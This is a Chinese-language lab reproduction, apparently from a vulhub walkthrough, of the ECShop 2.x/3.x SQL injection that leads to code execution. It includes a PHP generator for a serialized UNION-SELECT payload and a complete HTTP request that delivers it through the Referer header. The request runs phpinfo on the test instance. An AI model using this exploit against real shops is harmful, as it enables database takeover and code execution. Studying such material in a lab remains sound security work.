ECShop 2.x/3.x SQL注入/远程代码执行漏洞

ECShop 2.x/3.x SQL注入/远程代码执行漏洞

ECShop是一个B2C独立开店系统,供企业和个人快速搭建个性化网店。本系统是一个基于PHP语言和MYSQL数据库架构的跨平台开源程序。

2017年及之前的版本存在SQL注入漏洞,可以注入payload并最终导致代码执行漏洞。最新版本3.6.0已修复该漏洞,vulhub使用其最新版本2.7.3和3.6.0非最新版本重现该漏洞。

参考链接:

环境启动后,访问http://192.168.44.132:8080,您将看到 2.7.3 安装页面。访问http://192.168.44.132:8081,您将看到 3.6.0 安装页面。

两个都安装,mysql地址是mysql,mysql账号和密码是root,数据库名随便填,但是2.7.3和3.6.0的数据库名不能一样。

漏洞复现

可以为 2.x 和 3.x 生成 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

image-20210719095624334

将 POC 放在 HTTP-Referer 中:

1
2
3
4
5
6
7
8
GET /user.php?act=login HTTP/1.1
Host: 192.168.44.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close

2.X 的结果:

image-202107191014396843.X 的结果:

image-20210719101550223

0%